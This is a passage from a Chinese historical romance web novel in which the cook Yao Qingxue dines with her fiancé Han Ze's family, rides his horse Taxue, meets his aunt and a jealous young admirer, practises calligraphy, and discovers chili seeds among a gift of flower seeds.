春佟道了声好转身离去。韩娇看着盆里的炸肉咽了下口水,那样子跟芽芽馋嘴时一模一样。姚轻雪拿碗捡了几块给她。“去和芽芽一起吃,等会儿还有好吃的。” 韩娇惊喜地接过碗,而后失落:“可惜我吃不到。” 姚轻雪看了一眼韩娇的背影问:“她为何这么说?” “平常芸姨娘和娇娇都在自己的院里用膳。”韩泽给她讲大户人家的规矩,“贵客登门,若让妾室、庶女与客人同桌用饭,是极其不合礼节的行为,客人也会心生不快。” 姚轻雪用心听着,即便是韩家关系相对和睦,正室和妾室、嫡和庶之间的等级也不可逾越。 韩泽问她:“你介意吗?” “当然不会。”她不会把人分等级,但也不会置喙这种事,入乡随俗就好。 “好。”韩泽起身,“叫芸姨娘和娇娇一起吧。”二弟也会一起用膳,唯独没有他娘和妹妹,韩浩心里会不舒服。雪儿不是外人,她应该尽早熟悉家里的关系。 姚轻雪没有意见,韩泽怎么安排她听着便是。一个时辰后韩将军和韩浩先后到家。父子俩换了衣服来到饭堂,见家人围坐在饭桌旁言笑晏晏、其乐融融。 韩将军嘴角扬起,“母亲!”韩振给韩老夫人请安后坐下,“母亲也很期待那孩子的手艺?”刚刚进门时韩夫人跟他说,姚轻雪在厨房忙了一个多时辰,平日不与他们用饭的韩老夫人都过来等着。 韩老夫人看了看长孙,笑着道:“我也是好奇润青如何这般喜欢她的厨艺。” 韩浩给韩老夫人和韩夫人行礼后,坐到芸姨娘旁边。“娇娇呢?” 芸姨娘道:“姚家小姑娘受伤出不得屋,娇娇陪着她呢。” “二哥!”韩漳朗声道:“未来大嫂亲自下厨,大哥烧火,今日这饭必不可错过。” “哦?润青烧火?”韩将军玩味地看向长子。 韩泽点头,他的样子十分自然,就像他烧火根本就不是什么大不了的事。 韩老夫人嗔道:“烧火怎么了?你祖父、父亲当年在边关,自己生活弄东西吃的时候可不少。你们这一辈啊身在福中不知福,烧个火都值得大惊小怪。” “祖母教训的是。”韩漳嬉笑道,“改日孙儿也去灶前烧火。” 韩老夫人笑道:“就你精怪。” 韩将军回来后,有人通知厨房可以上菜了。很快侍女鱼贯而入将菜一次上齐。羊肉煲、烧排骨、锅包肉、炸藕盒、酥黄菜、咸蛋黄焗山药、雪绵豆沙、高汤白菜心、芹菜虾仁、三鲜茄子、炸鸡块、蟹黄虾仁豆腐羹,整十二道。 姚轻雪回房看了眼妹妹,便急匆匆赶来,一进饭堂见大家都在看她,在往桌上瞧谁都没动筷子。她快步过来先给韩将军行礼,而后歉意道:“让大家久等了。” “不碍事,快过来。”韩老夫人招招手。姚轻雪坐到韩老夫人和韩泽之间。老夫人拿起筷子夹了块山药,“吃吧。”众人这才动筷子。 有几道菜他们压根没见过,韩夫人先夹了自己熟悉的芹菜。 “好好吃哦。”韩莺咬了一口雪绵豆沙,惊喜之情溢于言表。 见状韩夫人和韩老夫人还有芸姨娘各自夹了一个,然后都惊叹不已,都问她怎么做的?姚轻雪脸上笑意不减,给他们讲这道菜的做法。 韩老夫人感叹:“竟然这般麻烦,辛苦了。” “这个好吃、这个也好吃……”韩莺两口锅包肉、一口炸藕盒、再来口酥黄菜,哪道她都喜欢。韩家没有食不语的规矩,在韩莺的喧哗下,众人下箸如飞。平日不怎么食肉的老夫人和韩夫人也不免多吃了些。 韩老夫人喝了两口豆腐羹,鲜香嫩滑,有微微的蟹黄味,她疑惑:“都入冬了还有蟹子吗?” 韩泽:“祖母,这里没有蟹,而是用咸蛋黄替代了蟹黄。”姚轻雪备料时他都看见了。 “润青也快成半个厨子了,嗝!”说到最后韩老夫人打了个饱嗝,她自己都愣了一下。 韩老夫人注重养生,平日饮食清淡、节制,每顿只食七八分饱,今日不知不觉吃多了。大家从来没听见她有过这等不雅行为。 “噗嗤。”韩夫人第一个没忍住乐出来。随后便是哄堂大笑。 与此同时,芽芽和韩娇在屋里小桌上吃着,姚轻雪每样都给她们拿过去一些。两个小姑娘特别开心,芽芽也没了刚见时的拘谨。 “姚姐姐好厉害。”娇娇吃着还不忘夸赞姚轻雪。 “嗯,我姐做什么都好吃。”芽芽笑眯眯道,“她还会给我做零嘴呢。” “真的吗?”娇娇满脸羡慕。不能比啊,韩莺只会跟她抢零食。 第64章 第64章踏雪 姐俩来的次日,何御医便到韩家给芽芽诊治。“幸亏许御医救治及时,令妹头上的伤并无大碍,好好将养一段日子便可痊愈,愈后也无需担心会留下隐症。” 给芽芽看完,何御医 又给韩泽把脉,开完药方才和韩将军去正堂喝茶。有了御医的诊断,姚轻雪心里彻底踏实了。 “芽芽妹妹不能下床吗?”韩娇在床边拄着下巴问。她吃过早饭,就跑来这里。 韩莺:“不能,万一动作大了把脑子晃出来怎么办。” 姚轻雪:“……”真是谢谢你的好意。 韩娇撅着嘴:“好吧。” 躺在床上的芽芽伸出手碰碰娇娇,韩娇拿过芽芽的手,两个小姑娘都笑了起来。小白看看小主人,也把爪子搭上去。两人一猫在床边玩起了拍手游戏。 韩泽偷偷勾勾姚轻雪的手指,给她使眼色。姚轻雪为难地看床上,不好把妹妹丢下吧,韩泽噘嘴,指了指自己的胳膊,那意思我也伤着呢,你不管我吗? 两人“眉来眼去”,两个侍女都看在眼里,秋月用帕子捂着嘴偷笑,笑完了她道:“姑娘尽管出去,芽芽这里有我们和二小姐陪着。” 韩娇回头:“姚姐姐去陪哥哥吧,我陪芽芽妹妹,半个时辰后我再去读书。”韩家请了先生每日教家里的两位姑娘读书。上午一个时辰,下午一个时辰。 姚轻雪对韩泽挑眉,你妹妹真是体贴。韩泽脸上露出笑意,对韩娇道:“今日不必读书了,陪芽芽吧。” “真的?太好了。”韩娇高兴地蹬了鞋子,爬上床坐到芽芽身边。 “那我也不用上课了?”韩莺眼含期待地看大哥。 韩泽冷着脸道:“芽芽初来乍到不适应,娇娇陪她解闷,你能做什么?好好听先生讲课。” 韩莺一脸你怎么能这样的表情,她眼珠子一转,两手缠上姚轻雪的胳膊。“我可以陪她,姚轻雪也是初来乍到。” “没规矩。”韩泽在韩莺脑门上敲了一下,“姚轻雪也是你叫的?”随后他扯下韩莺的胳膊,自己牵上姚轻雪的手往外走。 韩莺看着有了媳妇不待见妹妹的哥哥,敢怒不敢言。韩娇和芽芽在床上捂嘴偷笑。 两人在宅子里闲逛,姚轻雪的手被牵着,遇到仆人她不好意思,想抽手但韩泽就是不松。渐渐地她脸皮也厚了。 有情人在一起,即便是光秃秃的树也看得有滋有味。走到花园尽头,姚轻雪见前面是个角门便以为到头了。 她刚转身就被韩泽拽了回来。“前面还有。” 韩泽话音刚落,门后便响起马的嘶鸣声,紧接着便是蹄子塌地的“哒哒”声。 “踏雪!”韩泽喊一声,门后才安静下来。 姚轻雪随韩泽跨过角门,入目便是一块宽阔平坦的场地,场地旁有一座马厩。里面拴着三匹马,其中额头一点白的黑马看见他们进来便不安起来,像是要挣脱缰绳越栏而出。 姚轻雪似乎从马的脸上看见了兴奋,“那是你的马?” “对。”韩泽领人来到马厩前,摸了摸黑马的脸颊,“它叫踏雪。” 闻其名知其意,姚轻雪趴在栏门上往里瞧,果然马的四条腿靠近蹄子的位置是白色的。她言不由衷地夸了句:“好名字,哎?别咬我。” 踏雪看见有人侵入它的地盘,还把脑袋伸进围栏里,它不客气地叼住姚轻雪的头发。要不是韩泽及时出手,姚厨娘今日得成秃子。 姚轻雪揉着脑瓜顶,瞪踏雪,“坏马。” “噗!”踏雪对她吐口水,还露出它的大白牙,颇有示威的意思。 姚轻雪:“……” “哈哈……”韩泽大笑,“看来踏雪很喜欢你。” “你管这叫喜欢?”姚轻雪白了他一眼,然后抬手轻轻拍了一下踏雪的鼻梁,“欺负人是不对的,你得给我道歉。” “噗……”踏雪一连噗了好几口。 姚轻雪左躲右闪后跟它谈条件,“这样吧,你让我骑一下,就当你道歉了。”姚轻雪从地上捡起一根干草喂到踏雪嘴边,“你不说话我就当你同意了。” 踏雪叼起干草,转头便吐了出来。韩泽笑不可遏,他第一次发觉踏雪这般孩子气。“你若想骑马,改日给你弄一匹性子温和的。” 踏雪还是小马驹时就跟着他,没有第二个人坐过它的背。姚轻雪不会功夫,怕是刚坐上就得被甩下来。 “不行吗?”姚轻雪指着两外两匹马问:“这两匹也不行?” 韩泽道:“那两匹马是我父亲和韩浩的,我们的马都是精挑细选从小驯养的战马,战马认主轻易不让旁人上身。” “原来是这样,那算了。”她听说过马聪明、通人性,忠诚度也很高,不骑便不骑。 韩泽话锋一转,“不过我可以带你。” “好啊好啊。”姚轻雪连连点头。 韩泽将栏门打开,把踏雪牵出来。马夫去拿马鞍和马凳。 在栅栏里面便觉得这马高大,牵出来见全身,姚轻雪忍不住惊叹,踏雪高大健壮,马背比她还要高,它通体漆黑,只有额间一点白和四蹄一圈白,它身上的毛在阳光下闪闪发亮,跟黑绸子似的,特别漂亮。 韩泽抚摸踏雪的脖颈,在它耳边轻声说着什么,踏雪黑亮的眼睛往姚轻雪这边瞟了一眼,而后打了个响鼻。 “过来。”韩泽招招手。 姚轻雪小跑过去,“它同意了?” 韩泽抓过姚轻雪的手抚上马的脖子,踏雪转头看她一眼,这次总算没再“噗”她。姚轻雪站在凳子上往高抬起一条腿,然后发现腿搭不上马背,再高就劈叉了,于是她放下腿两手攀上马鞍,准备爬上去。 但踏雪实在太高了,她往上蹿时膝盖顶到了马肚子,踏雪不耐烦了,嘶了一声“哒哒”远离了马凳。要不是有韩泽牵着,踏雪一准跑起来,把背上的笨蛋甩下去。 姚轻雪上上不去、下下不来,趴在马背上直喊“救命!” 韩泽单手撑住人往上送,终于让她坐到马鞍上。姚轻雪拍着自己的心口,“吓死我了。”拍完自己又去拍马:“踏雪你不讲武德,你是不是故意吓唬我?” 踏雪甩了下头往前走,开始还是慢慢的,走了没多远就越来越快,最后小跑起来。韩泽没上去马也就干脆不上了,他跟在踏雪身边跑,一只手始终抬起来护着马上的人,所以姚轻雪也不怕掉下去。 踏雪撒开蹄子绕着马场一圈一圈地跑,姚轻雪两手紧紧抓住马鞍。随着踏雪速度越来越快,北风从耳边呼啸而过,一侧的墙和树木快速闪过,姚轻雪既紧张又兴奋,第一次体验了飞奔的感觉。 冷天骑马绝对不是什么享受,跑了一会儿姚轻雪便觉得脸都木了,她想跟韩泽说要下去,一转头发现旁边没人。 姚轻雪心一下子就提了起来,又跑了半圈才发现韩泽在前头站着。路过韩泽身边时,她大喊:“放我下去!” 韩泽乐不可支,随即两根手指放进嘴里吹了个响,踏雪逐渐放慢速度,下一圈便稳稳停在韩泽面前。 姚轻雪落地不稳,一头扎进韩泽怀里,踏雪转头就又把她头发叼进嘴里。先前就被它咬了一下,现在姚轻雪的头发彻底散了。 韩泽让人卸了马鞍,让踏雪自己在马场跑。马厩里另外两匹见了不乐意了,抻着脖子嘶鸣,它们也想出去撒欢。 送完何御医的韩将军听见马厩传来嘶叫,以为三匹马咬起来了,赶紧跑过来。然后看见踏雪在外面撒着欢,追风和逐日冲着踏雪叫。再看不远处儿子正给心上人整理头发,完全没空理马。韩振让人打开栅栏,将追风和逐日放出来。 姚轻雪在韩泽的帮助下刚把头发挽了个简单的发髻,便看见三匹马比赛似地跑,路过她时踏雪又把头伸过来,姚轻雪捂住脑袋躲到韩泽身后。嘴里喊道:“坏踏雪,你是坏马!” “哈哈!”韩振朗声大笑,他就说这姑娘怎么披头散发?原来是踏雪弄的。 听到笑声,姚轻雪这才发现韩将军也来了马场。她赶紧过去行礼问好。 韩振摆摆手,“在家里随意些,不用拜来拜去,麻烦。你骑马了?” “骑了会儿,踏雪跑起来又快又稳。”姚轻雪不好意思道,“只是踏雪不怎么待见我。” “它要是真不待见你,你是骑不到它背 上的。“韩将军道。 姚轻雪眨眨眼,她不了解马,既然韩泽和韩将军都这么说了,看来踏雪并不是不喜欢她。她转身对奔跑的踏雪挥手,“踏雪,下次我再过来骑你。” “嘶嘶”踏雪转了个弯就奔她来了。 姚轻雪拽着韩泽就往角门那边跑。韩将军在他们身后大笑。 踏雪被门隔住,嘶鸣了几声又去撒欢了。听见马蹄声跑远,姚轻雪开怀大笑,笑着笑着眼泪就下来了,心中因芽芽重伤而产生的阴霾也随风散了。 等人笑够了,韩泽牵起她的手慢慢往内宅走。“年底北疆会往京城送一批小马,到时给你选一匹。” “好!”姚轻雪心情好,骑马其实并不好受,但骑在马上的感觉她喜欢。 韩泽:“韩莺儿时父亲想教她骑马,她只骑过一次就吓哭了。”从那以后韩莺再也没骑过马,三弟对马也没有兴趣。子女不甚强健,父亲颇为遗憾。刚刚他得知姚轻雪骑了踏雪,想必是高兴的。 “那我得拿这事儿取笑韩莺,第一次骑马我可没哭鼻子。”拿十八岁的她跟韩莺儿时比,姚轻雪丝毫没有觉得不好意思。 第65章 第65章来客 两人刚走出花园,就有侍女过来说表姑娘和秦姑娘来了。韩泽皱了皱眉,“知道了。” 韩家来了客人,姚轻雪自是不好跟过去,她这刚要张嘴告辞。就听远处传来一道娇俏的喊声:“韩大哥!” 姚轻雪循声望去,就见一个穿着绯色披风的姑娘跑过来。“韩大哥,你的伤好些了没有?严不严重?要不要紧?”秦若昭满眼都是韩泽,愣是没给他身旁的姚轻雪半个眼神。 这水汪汪的眼睛专注地看着一个男人,任谁看了都知道这姑娘的心思。姚轻雪眉毛一挑,后退两步戏谑地看向韩泽。早在秦若昭喊韩大哥时,她便把手从他手心抽了出来。 韩泽看了看远离自己的姚轻雪颇为无奈。姗姗来迟的姜玥瑶,一看见姚轻雪下意识说道:“她不是我带来的。” 秦若昭杏眼一瞪,“干嘛要你领,我难道不能自己来?” “小姐!”秦若昭身边的嬷嬷一脸严肃地提醒她注意言行。 秦若昭撇撇嘴,规规矩矩给韩泽行礼。“韩公子!” 姜玥瑶心里叫苦,姨母都承认了姚轻雪做韩家未来儿媳,用不了多久姚轻雪就会成为她表嫂。要是让姚轻雪知道她把情敌领到表哥面前,那以后还怎么来往?她嫁不成表哥,可没想过跟未来表嫂成仇人。 “表哥!”姜玥瑶微福一礼,“我与母亲来韩家的路上碰见秦姑娘,她便一道来了。” 秦若昭撅了撅嘴没反驳,听说韩泽回京受了很重的伤,她早就想过来看望,但父亲母亲都不准她过来。说是无亲无故一个姑娘去看男人算怎么回事?硬是把她关在家里。今日好不容易出来,但刘嬷嬷看得紧,这不许那不许,她要是敢做出格的事回家定要挨母亲罚。 没料到刚出银楼她就看见姜家的马车,一问才知江玥瑶要去将军府看望韩泽。秦若昭都不给刘嬷嬷反应,呲溜一下钻进姜家马车跟了过来。江玥瑶和母亲也很无语,但也不好把一个小姑娘赶下马车。 “我家小姐孩子心性,大公子莫怪。”秦若昭身边的嬷嬷上前见礼,刘嬷嬷心里这个愁啊。 她家小姐的心思都写在脸上,夫人打也打了骂也骂了,她就是不知悔改,把韩泽当成未来夫君人选。韩泽出身高贵、长相俊朗,年纪轻轻就坐到大理寺少卿的位置,听说颇得陛下看中,真可谓前途无量。 小姐若是能与韩泽结成连理,别说是小姐,就是他们家老爷和夫人做梦都得笑醒,秦家家世远不如韩家。韩家不恋权不贪财,陛下对韩振都有几分敬重,就凭这份敬重韩振起复就是陛下一句话的事。 另外韩家家风正,韩家子都是出类拔萃。庶子韩浩如今入了陛下的眼,前途不可限量。三子韩漳虽贪玩了些,但也绝非纨绔子弟。韩泽就更不用说了,简直无可挑剔,将来要继承将军府,怎么看都是很好的联姻对象。 问题是,这样的家世和教养谁不想要?京中多少贵女惦记韩泽?奈何韩家跟庙里的僧人一般对女人不假辞色。对他们家小姐也是不会多给一个笑脸。他越是这样于是让一些姑娘趋之若鹜,他们家小姐就是其中之一。 但是,现在是什么情况?刘嬷嬷不动声色地看了一眼姚轻雪。刚刚她似乎瞧见这两位手牵手了! 韩泽看向江玥瑶:“姨母也来了?” 江玥瑶道:“是,在正院说话。” 韩泽:“姨母来了,雪儿随我去见姨母。” 姚轻雪犹豫,现在去见韩泽的亲戚会不会太早了?俩人还没定亲,她以什么身份见?再者江玥瑶喜欢过韩泽,现在喜不喜欢不知道,秦若昭这丫头也是满心满眼地韩泽,她跟过去岂不是很不讨喜? “你是那个厨娘?”秦若昭见韩泽不理自己,却一脸温柔地看他身边的女人,她便也瞧姚轻雪,然后想起来在哪儿见过了。 姚轻雪对她笑了笑没有说话,她对秦若昭没有成见,喜欢一个人没有错,对她却也没什么好感,过于骄纵的人很难让人喜欢得起来。 “好!”姚轻雪灿然一笑,随后走到韩泽身边,两人并肩前行。 秦若昭在他们身后眼睛都快瞪出来了,她颤颤巍巍抬起手指着前面,“她”字刚出口,便被刘嬷嬷打在手上。 刘嬷嬷低声训斥:“小姐,注意言行,这是在将军府,我们是客人不是主人,今日若是丢了秦家脸面,夫人定不会饶了你。”刘嬷嬷是秦夫人陪嫁过来的,看着秦若昭长大,是以才敢这么对待她。 秦若昭揉了揉手背,嘟囔:“我知道了。” 江玥瑶松口气,知道怕就好。人是她带来的,可别闹出什么不好的事情来,她一手挽住秦若昭的手臂,“若昭妹妹我们也快走吧,别让姨母她们等急了。” 一行人来到正院,韩夫人正与妹妹闲聊,笑声都传到屋外了。守在门边的丫鬟看见他们进了院,便向屋内道:“夫人,大公子与姚姑娘来了。” 屋内顿时安静下来,姚轻雪立在门外整理衣服,她不太自信地问韩泽:“我这身会不会失礼?”踏雪给它弄得披头散发,她都没来得及重新梳发。 韩泽抬手给她整了整发簪,“还好,姨母不是挑剔之人,走吧。” 秦若昭看着两人亲昵的举动,嘴巴撅得更高了。可她还记得刘嬷嬷的训斥,便没有言语。 姚轻雪走进屋内、解了披风,门边的侍女把披风接过去挂好。她随韩泽绕过屏风来到屋内,就见一位与韩母有七八分相似的丰腴妇人坐在椅子上。她脸若银盘,颇有福相,而这圆圆的脸型又与江玥瑶神似。 自从姚轻雪进屋,姜夫人便开始打量她,见她发式简单、衣着朴素,她轻轻皱了下眉,但很快神色恢复如常。韩泽要娶的人,她姐姐和姐夫都管不了,她不舒服什么。现在朴素,嫁进韩家就能穿金戴银了。 在韩泽的引导下,姚轻雪对姜夫人行一礼,“姨母好!” 姜夫人笑着道:“早就听玥瑶说起过你,未曾想竟是如此妙人儿。” “姨母谬赞了。”姚轻雪礼貌回话。 “别站着,都坐吧。”韩夫人对秦若昭道,“若昭好久没来家里了,怎么瞧着见外了?” 秦若昭张了张嘴,终究是没有说出失礼的话,“我娘说姑娘大了身不由己,叫我不能像以前那样任性。” 韩夫人笑着点头,“你娘说的对,你年纪尚小,有些事等长大一些再看,便豁然开朗。”她话锋一转,“中午留下来用膳吧,今早庄子上送来一只肥羊,天气冷吃些羊肉暖暖身子。” 秦若昭脱口而出:“姚厨娘做吗?”说完她就后悔了,可话已出口她只能硬着头皮看向姚轻雪。 “韩家有厨子,怎么会让客人下厨。”韩 夫人笑容不变,“若昭想怎么个吃法?涮着吃,还是烤着吃?” “随便。”秦若昭情绪低落。 “轻雪呢?你想怎么吃?” 姚轻雪一愣,不知该不该答,说实话韩夫人问她意见,给足了她面子,但她并不会在这种场合跟一个小姑娘计较。便转头问韩泽:“你想怎么吃?” 韩泽嘴角上扬,“烤吧。”各人面前一盘烤肉,谁也碍不着谁,涮肉这么多人围坐在一起,想不接触都难。 “好!午膳就吃烤全羊。”韩夫人吩咐下去。 韩夫人这么喜欢这个厨娘,秦若昭情绪更低落了,小姑娘委屈的眼泪要掉不掉。正准备起身告辞。 外面传来韩莺的声音:“娘,表姐来了吗?” 韩莺进来一看秦若昭也在,脸上顿时露出欢喜。“若昭,你好久没来看我了。” 秦若昭强颜欢笑,“母亲让我在家学习礼仪规矩,不准我出门。” “我也是。”韩莺控诉地看向韩母。 韩夫人眯了眯眼,厉声问:“未到午时,先生准你下课了?” “没。”韩莺眼神躲闪,小声道:“是我跟先生说家里来了客,今日便不学了。” “胡闹!”韩夫人一拍桌子,秦若昭跟着一打哆嗦。她心想原来不止她娘会对自己发脾气,看着脾气好好的韩夫也会骂韩莺啊。 “母亲我错了,下次不敢了,您消消气,别气坏了身子。”韩莺来到母亲跟前乖乖站好,低头认错。 韩夫人:“今日看在若昭的面子上绕过你这一次,再有下次就去给我跪祠堂。” 韩母见她老实了便也作罢,缓声道:“带表姐和若昭出去玩儿吧。” 三个女孩儿噤若寒蝉、悄声走出房间。韩夫人看了眼姚轻雪,问韩泽:“你带人去哪儿了?把轻雪弄得这么狼狈?”分明早上见时还不是这发型。 “伯母,他带我去骑踏雪了。”姚轻雪道,“踏雪顽皮咬了我头发,来不及回屋整理便来见姨母,失礼之处还望姨母见谅。” “都是自家人说这话就客气了。”姜夫人脸上挂着温和的笑。 第66章 第66章挥铲能炒菜、提笔会写字…… 韩母惊讶:“你骑踏雪了?” 韩夫人这个样子,姚轻雪这下确信踏雪可能是真喜欢她,便大言不惭道:“踏雪很想喜欢我呢,我们约好了下次再一起玩儿。” 韩泽看她,踏雪可没答应,是你单方面约定,它还想咬你来着。姚轻雪知道韩泽在看她,也知道为何看她,她面不改色与韩夫人说起刚刚马场上发生的事。 韩夫人觉得有趣,马随主人,踏雪那脾气跟他儿子差不多,不待见的人一点面子都不给。如今这人和马喜好出奇一致。“骑马并不轻松,累了吧,回去休息吧。” “是有些累了。”姚轻雪向韩母和姜夫人告辞。 走出房间韩泽道:“我刚发现踏雪和轻雪这般相近,看来你俩挺有缘分。”姚轻雪一想还真是,若是同一种族,大概率会被认为一家出来的。 两人说话的声音隐约传到屋内,姜夫人哼道:“到底是小门小户,礼仪规矩欠佳。” 韩母神色淡淡:“规矩不懂可以学,谁生下来就懂礼仪,你我不也是从小学到大,在人前端着,人后才敢放松。”一辈子都这般装模作样,所以她才不想过早约束韩莺。 “姐姐!”姜夫人忙道:“我不是嫌她不好,只是觉得润青本可以娶到更好的姑娘。” “我原本也这样认为,但你瞧润青和她在一起时眉眼都带着笑,和以前比起来就像从寒冬踏进了暖春,他是打心眼里喜欢这姑娘。”韩母笑着道,“我也想开了,只要他自己乐意便随他去吧,何况姚轻雪还救过我儿子,就凭这一点我也要好好待她。” “姐姐这么做倒也没错。”姜夫人叹口气,“儿女都是债。” 韩母看向妹妹:“玥瑶婚事准备得如何了?” “早几年我就给她准备了,如今也就秀秀嫁衣、做做眼前的事儿。”姜夫人叹口气,“明年三月就要嫁了,手把手养到这么大,我是真心舍不得。” 江玥瑶千挑万选定了三品京官家中的嫡次子,姜夫人不大满意,但也没办法,她夫君也才从四品。他们挑人家,男方也在看姜家,女儿想再往高了嫁难。 “又不是远嫁,玥瑶可以常回家看你。”韩母安慰妹妹。 另一边,韩泽把姚轻雪送回小院也不松手,姚轻雪无奈,“要不然我送你回去?”韩大人也是伤患也需要人照顾。 “好!”韩泽都不带犹豫的,牵着人就往东院走。走到东院姚轻雪要走,韩大人往回送。 俩人来来回回互相送了两趟,春佟和秋月在屋里瞧着纳闷,“大冷天这俩人干什么呢?” 姚轻雪觉得他俩挺幼稚,这回不送了,她把韩泽转了个身,两手推他后背。“韩大人好走不送。”推出去几步,她小跑着进了院。 进屋后发现韩娇在入门的榻上写字,她小声问:“芽芽睡着了?” 春佟接过姚轻雪上手里的披风,“吃过药半个时辰就睡着了。” 姚轻雪走进里间看了看睡得脸红扑扑的妹妹,给她把被子掀开一角。屋里烧着炭,穿单衣就可以,被子也不用盖太严实。 重新走到外间,姚轻雪坐在韩娇身边看她练字。小姑娘坐姿端正,一笔一划地写字。姚轻雪忍不住感慨这字写得比她好多了。 索性无事,姚轻雪问两个丫鬟:“可有纸笔?我也练练字。” 秋月惊讶,姚轻雪竟然识字?韩娇问出来,“姚姐姐你会写字啊?” 姚轻雪笑着看她:“是不是觉得我这种人就该是大字不识?” “没有。”韩娇赶紧摇头,“你每天做饭很忙的,不像我这么闲,所以我觉得姚姐姐可能没有那么多时间读书。” 真心也好,找补也罢,韩娇是个情商很高的小姑娘。她这话听着叫人心里舒服。“是没什么时间,最近都没怎么练字。” 秋月去而复返取来纸笔,姚轻雪盘腿坐在榻上,提笔、沾墨、抖墨,笔尖轻点纸上。两个丫鬟和韩娇盯着她看,都被她这架势唬住了。 挥铲能炒菜、提笔会写字,人不可貌相啊。只是待她一个字写完,三人都是一言难尽。 “噗嗤。”春佟没忍住笑出声来。她知道自己失态赶忙找补:“姑娘的字别具一格。” “呵呵,姚姐姐的字很、可爱。”韩娇绞尽脑汁想不出该怎么夸。 “我知道自己写得难看,你们也不用硬夸。”姚轻雪不以为意:以前她重点在记忆,把常见字都记得差不多了。现在该练一练写了,不求多好,起码不能像现在一样让人看了发笑。 姚轻雪认认真真写着,写了几个字后逐渐找到感觉,再写出来的就不是圆圆胖胖糊了半边的字了。偶有落笔错处,韩娇还会纠正她。两人面对面练字很是和谐。 也不知过了多久,里间传出芽芽的声音:“姐?”她看见屏风后有人影,但不确定是不是她姐。 “哎,姐在呢。”姚轻雪放下笔,下地穿鞋去里间看妹妹。韩娇也扔了笔跟过去。 看见姐姐,芽芽露出个大笑脸。韩娇问她:“芽芽妹妹会写字吗?” 芽芽一愣,姚轻雪忙道:“现在还不会,等她伤好了就送她去学堂。” 芽芽惊讶地看她姐,眼里透着希冀,“姐,我、我也可以读书吗?”读书要花很多银子。她吃姐姐的、穿姐姐的,姚家已经为她花很多银子了,姐姐还愿意送她读书吗? “本来打算等咱家安定一些再送你去读书,现在也差不多是时候了。” 韩娇道:“我家有请先生,芽芽可以和我一起读书,我也可以教芽芽妹妹。” 姚轻雪没回应,她挺想借韩家这个资源的,芽芽是女孩,去学堂读书也读不了几年。等她过了十岁学堂就不收了。“等芽芽伤好了再说。” 韩娇:“嗯,等芽芽妹妹伤好,就和我一起去上课。” 这时门咯吱一声,芸姨娘走进来,她看向韩娇。“你这孩子,半天见不着你人影” 芸姨娘对姚轻雪道:“府里就她一个小的,平时也没什么朋友,芽芽她喜欢得紧,娇娇没打扰芽芽休息吧?若是有你可别惯着她。” “姨娘严重了。”姚轻雪笑着道,“芽芽不能出门也很憋闷,有二小姐陪着心情都好了。” “是吗?我瞧瞧。”芸姨娘走到床边看芽芽,“嗯,脸色看上去不错,你这个姐姐照顾得好。” 韩娇:“我也有陪芽芽妹妹解闷儿。” “好好,你也有功!”芸姨娘宠溺道,“那午膳你俩还在这屋里吃?” “好!”韩娇点头。 芸姨娘转头看姚轻雪,“午膳好了,夫人想叫人过来唤你,我想过来看看芽芽,就代劳了。” “有劳姨娘了。”姚轻雪颔首。 芸姨娘:“走吧,她俩的那份自然会有人送过来。” 春佟也道:“姑娘去吧,这里有我和秋月呢。” 姚轻雪叮嘱妹妹两句,便随芸姨娘出了房间。她们刚走出院子,就见韩泽从小径走来,芸姨娘用帕子捂嘴笑了笑,而后对姚轻雪道:“我就先走了。” 午膳主菜是烤全羊,姚轻雪吃了一口觉得味道还不错,羊肉皮脆肉嫩、肥而不腻。一口刚吃完,旁边伸过来一只手,把盘子里的烤肉全倒进她盘里。 姚轻雪侧头,韩泽小声道:“不爱吃。” 虽然经过处理,但膻味还是有,韩泽不喜欢这味儿,姚轻雪点头,淡定夹起羊肉继续吃。 其他人都往这边瞄,见姚轻雪这般坦然不免都有些惊讶。这俩人还真是不把他们当外人。秦若昭撅嘴,韩夫人赶紧招呼她吃菜,时不时与她说话分散她的注意力。这顿饭韩夫人吃得心累,午膳过后送走秦若昭和妹妹母女俩,她立刻回房躺着养神。 听说姚轻雪在练字,韩泽非要让人去他房间练。姚轻雪不干,她俩都没定亲,即便定亲、在未成亲前孤男寡女同处一室也是大忌。让韩家人和韩家下人们怎么想? “不去。”姚轻雪要回房练字,韩泽就是不松手,又拽着人在院子里来来回回走了几趟。才来两日,姚轻雪把韩家走了几遍,闭着眼都不会迷路。 两人走到大门口,听见门外传来马蹄声,门房叫了声:“三少爷!” 韩泽领人绕过影壁,看见韩漳正在指挥仆人往院里搬东西。“怎么买了这么多东西?” “大哥!”韩漳道,“不是买的,是朋友送的。” 韩漳回身从一个箱子里拿出一个大海螺和一盒子海螺壳。“这些送给姚姐姐和芽芽,海边的东西京城不多见,不值什么钱,回去当个摆件瞧瞧也是好的。” “多谢三公子!”姚轻雪接过东西。京城确实不多见,专门卖海物的铺子里有,但很贵,都是卖给富人赏玩,寻常百姓不会花钱买这玩意看。 韩泽:“你那朋友出海回来了?他走到那儿?” “南海。”韩漳道,“咱们的东西到那边很值钱。”他朋友这一趟赚得盆满钵满。 第67章 第67章学习 韩漳有位忘年交,年轻时走遍大江南北,不惑之年突发奇想去海外探险,于是倾其家产打造海船。为了把造船的银子赚回来,他顺便带上本国特产到南海贩卖。回来时再带那边的特产珍珠、宝石、珊瑚等,还有海里的干货。海中之物在京城都是紧俏货,这一来一回着实赚了不少。 “对了,我那朋友送我一些花种。”韩漳从箱子里拿出个布袋,慢慢解开绳子,“姚姑娘喜欢花吗?要不要拿去一些种在家中?” “不必。”姚轻雪对花草没什么兴趣,她就是个俗人,种花的地方宁愿种菜,花草每日看也会腻。 这时一阵风吹来,确切地说是从韩漳的方向吹向这边。姚轻雪吸吸鼻子,眼睛瞬间瞪大:“三公子且慢。” 韩漳正在系布袋口,听见姚轻雪急切的声音便停了手,一脸不明所以。 姚轻雪想把手里拿着的盒子和海螺给韩泽拿着,但韩泽胳膊伤着,她便把东西小心地放到地上。然后两步走到韩漳跟前,拿过他手里的布袋。姚轻雪屏住呼吸,颤抖着双手解开韩漳刚系上的绳子。 待袋口松开,一股微呛的气味飘出来,姚轻雪怀着激动的心情,小心抓了几粒“花种”出来,确定是辣椒种子,她眼泪瞬间涌出眼眶。 把韩家两兄弟吓了一跳,以为她被种子的味道呛到了。韩泽夺过她手里的布袋塞给弟弟,“味儿这么大,想必也开不出什么好看的花,扔了吧。” 韩漳尴尬:“大概吧,那就不种了。” “不能扔!”姚轻雪一把夺过布袋,紧紧抱在怀里,她转头看韩泽:“种出来你就有口福了,这东西比茱萸强百倍千倍。” 韩泽微微蹙了下眉,“能吃?” 